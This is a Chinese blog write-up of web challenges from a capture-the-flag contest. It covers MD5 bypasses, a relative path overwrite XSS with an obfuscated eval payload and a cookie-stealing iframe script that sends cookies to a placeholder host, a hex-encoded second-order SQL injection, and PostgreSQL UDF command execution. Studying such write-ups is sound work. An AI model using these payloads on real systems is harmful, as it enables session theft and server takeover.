HeartSky's blog


在渗透之路上渐行渐远


第二届强网杯 Web/Crypto writeup

WEB

web签到

一共三关
前面两关是MD5函数不能处理数组以及0e弱类型比较的问题
第三关

1
2
3
if((string)$_GET['param1']!==(string)$_GET['param2'] && md5($_GET['param1'])===md5($_GET['param2'])){
die("success!");
}

找到两个MD5值一样的字符串
https://www.mscs.dal.ca/~selinger/md5collision/

简单扩展下 md5 的哈希过程
这里我用 ppt 画了一个图方便理解

明文进行 64 bit 的分组,不足则进行 padding,这里的 s0 和函数 f 都是固定的,第一次就是利用函数 f 把第一个分组 m0 和初始化向量 s0 作为输入,得到输出 s1,依次类推,最后得到的 s6,也就是哈希后的结果,即图中的 enc

最后一关就是 05 年王小云提出的 md5 哈希碰撞,也就是图中左上角的式子,对于两个不同的消息分组 M、N,s 相同,经过两次 f 函数后得到的结果是一样的,前面的消息分组对应图中的 m2,也就是虽然 m2、m3 不同,但是最后两次 f 函数后的 s4 是相同的,即最后哈希结果相同

share your mind

前端后端对解析差异的问题

1
http://39.107.33.96:20000/index.php/view/article/969/..%2f..%2f..%2f..%2findex.php/add

对于这个 url,nginx 和 apache 的解析是不同的,apache 是把 ..%2f..%2f..%2f..%2findex.php 当做一层路径,而 nginx 会先进行 url 解码,即 /index.php/view/article/969/../../../../index.php/add,最后也就是 /index.php/add

然后注意到 /index.php/add 是会在相对路径下引入 ../static/js/jquery.min.js

1
<script src="../static/js/jquery.min.js"></script>

对于这个引入,前端实际引入的 url 路径是 index.php/view/article/969/..%2f..%2f..%2f..%2findex.php/../static/js/jquery.min.js
前端浏览器不会进行路径的 url 解码,所以最后的路径是 index.php/view/article/969/static/js/jquery.min.js

后端是正则匹配来解析,导致匹配到 index.php/view/article/969 时就返回了页面内容,也就是实际引入的是我们写入的文章

然后发布文章处就可以写入任意 js 了,为了避免后台过滤踩坑,直接用这种

1
eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 98, 97, 105, 100, 117, 46, 99, 111, 109, 34))

eval 替换为 document.write 也是可以的,注意里面不要加引号,不然就直接当成字符串原样输出了

打到 cookie 提示是在某个子页面的 cookie 里

这里就涉及到另一个知识点了
我们知道对于 url 来说,同源策略要求域名、协议、端口完全相同。而 cookie 也是有同源策略的,不同的是 cookie 的同源策略仅以域名、路径作为识别依据。所以不同路径下 cookie 是不一样的,因此问题就是如何获取子域的 cookie,这里采用了 iframe

1
2
3
4
5
6
7
8
var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://xxxxx?xx="+c;
}

用 iframe 引入了一个子页面,然后读取它的 cookie
最后 flag 就在 cookie 里

RPO攻击技术浅析

three hint

二次注入
注册后登录会查询和你年龄相同的用户名并输出出来
猜测大概是这么写的

1
2
3
4
5
6
7
$res = $conn->query("SELECT * FROM test2 WHERE user='$user'");
$age = $res->fetch_assoc()['age'];

$sql = "SELECT * FROM test2 WHERE age=$age limit 1";
$res = $conn->query($sql);
$row = $res->fetch_assoc();
echo 'Hi '.$user.', your age is '.$age.' years old. The same age with you is '.$row['user'];

在注册时对于年龄只验证是否为数字,用 16 进制就可以把原始数据存入数据库,比如这样

1
2
3
4
5
6
7
8
9
10
mysql> insert into test2 values(1, 0x3120616e6420313d3020756e696f6e2073656c65637420342c2873656c65637420646174616261736528292923);
Query OK, 1 row affected (0.01 sec)

mysql> select * from test2;
+------+-----------------------------------------------+
| user | age |
+------+-----------------------------------------------+
| 1 | 1 and 1=0 union select 4,(select database())# |
+------+-----------------------------------------------+
1 row in set (0.00 sec)

然后在根据年龄查询相同用户名的时候用的就是数据库里的”脏”数据,最终导致了 sql 注入

彩蛋

正解是 Apache Shiro Java 反序列化漏洞,但是 payload 不能直接打,要做修改,参照 orange 的文章

我对 java 不是很熟悉,这里是用了另一个漏洞

扫描端口发现 postgresql 服务开放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PORT     STATE    SERVICE
22/tcp open ssh
42/tcp filtered nameserver
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
1027/tcp filtered IIS
1028/tcp filtered unknown
1068/tcp filtered instl_bootc
3128/tcp filtered squid-http
4444/tcp filtered krb524
5432/tcp open postgresql
5800/tcp filtered vnc-http
5900/tcp filtered vnc
6669/tcp filtered irc
8009/tcp open ajp13
8080/tcp open http-proxy

存在 postgresql 未授权访问漏洞,使用默认用户 postgres 密码为空可直接进入数据库

列目录有限制,只能是当前目录,这基本就是 udf 提权了

在当前目录发现了一些别人写进来的 .so 文件,那我们直接用就可以了

1
2
CREATE OR REPLACE FUNCTION sys_eval()  RETURNS text AS  './udf.so' LANGUAGE C STRICT;
select sys_eval('ls /');

关于 udf 提权,参考文章

Crypto

占坑